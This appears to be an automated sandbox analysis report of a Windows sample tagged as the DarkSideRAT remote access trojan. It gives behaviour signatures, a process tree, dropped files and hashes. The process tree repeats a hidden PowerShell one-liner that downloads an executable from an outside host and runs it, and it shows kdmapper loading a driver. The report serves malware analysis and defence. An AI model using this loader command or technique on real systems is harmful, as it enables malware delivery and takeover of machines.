Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 17:50

General

  • Target
    client_25435.exe
  • Size 1.1MB
  • Sample260730-wetqdatfnf
  • SHA256 4be7586612564263588817f10c0e8664822735f97bb8b4056202940119fd35c1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\client_25435.exe
    "C:\Users\Admin\AppData\Local\Temp\client_25435.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious use of WriteProcessMemory
    PID:5260
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=dNYiGYKA2Igu' -OutFile $env:TEMP\BK147012.exe; Start-Process -FilePath $env:TEMP\BK147012.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=dNYiGYKA2Igu' -OutFile $env:TEMP\BK147012.exe; Start-Process -FilePath $env:TEMP\BK147012.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=dNYiGYKA2Igu' -OutFile $env:TEMP\BK147012.exe; Start-Process -FilePath $env:TEMP\BK147012.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Users\Admin\AppData\Local\Temp\BK147012.exe
            "C:\Users\Admin\AppData\Local\Temp\BK147012.exe"
            5⤵
            • Executes dropped EXE
            PID:5224
    • C:\Users\Admin\AppData\Local\Temp\kdmapper_240729515.exe
      "C:\Users\Admin\AppData\Local\Temp\kdmapper_240729515.exe" "C:\Users\Admin\AppData\Local\Temp\driver_240729515.sys"
      2⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      • Suspicious use of AdjustPrivilegeToken
      PID:5676

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        BK147012.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK147012.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        kdmapper_240729515.exe

        • Path C:\Users\Admin\AppData\Local\Temp\kdmapper_240729515.exe
        • Size 248KB
        • SHA256 40edf76511cbc722ccca1d9f870fb81edca9d1711750bf14fa13752f11639c44
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/5676-36-0x0000000140000000-0x000000014003E000-memory.dmp

        memory/5964-6-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-20-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-7-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-8-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-11-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-12-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-13-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-0-0x00007FFEC874F000-0x00007FFEC8750000-memory.dmp

        memory/5964-5-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-4-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-38-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-39-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-3-0x00000248E2410000-0x00000248E2432000-memory.dmp

        memory/5964-49-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

        memory/5964-40-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp